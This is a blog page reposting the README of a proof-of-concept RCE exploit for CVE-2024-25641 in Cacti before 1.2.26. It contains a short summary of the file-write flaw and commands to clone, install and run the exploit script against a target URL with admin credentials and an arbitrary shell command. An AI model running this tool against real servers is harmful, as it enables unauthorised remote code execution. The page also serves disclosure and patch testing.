> ## Content Index > Fetch the complete content index at: https://darkwebinformer.com/llms.txt > Use this file to discover other available public pages before exploring further. # CVE-2024-25641 - Fully automated PoC - RCE - Cacti < v1.2.26 - URL: https://darkwebinformer.com/cve-2024-25641-fully-automated-poc-rce-cacti-v1-2-26/ - Published: 2024-08-30T16:59:45.000Z - Updated: 2025-09-04T22:27:06.000Z - Author: Dark Web Informer - Tags: Vulnerabilities GitHub: Last Commit: August 30th, 2024 --- # CVE-2024-25641 - Cacti 1.2.26 - Arbitrary file write to RCE 🌵 [](https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26#cve-2024-25641---cacti-1226---arbitrary-file-write-to-rce-) - `Authenticated RCE` - `Cacti version < v1.2.26` ## Summary [](https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26#summary) --- An arbitrary file write vulnerability, exploitable through the "Package Import" feature, allows authenticated users having the "Import Templates" permission to execute arbitrary PHP code on the web server (RCE). ## Proof Of Concept [](https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26#proof-of-concept) --- ![](https://storage.ghost.io/c/6b/16/6b16ac9c-cd67-432f-b0f3-bbec941084ff/content/images/2024/08/23489982-1.png) ## Usage [](https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26#usage) --- ``` git clone https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26.git && cd CVE-2024-25641-CACTI-RCE-1.2.26 pip install -r requirements.txt python3 CVE-2024-25641.py http://localhost/path/to/cacti/ --user admin --pass admin123 -x 'whoami' ``` ### With poetry [](https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26#with-poetry) ``` git clone https://github.com/StopThatTalace/CVE-2024-25641-CACTI-RCE-1.2.26.git && cd CVE-2024-25641-CACTI-RCE-1.2.26 poetry install poetry run python3 CVE-2024-25641.py http://localhost/path/to/cacti/ --user admin --pass admin123 -x 'whoami' ```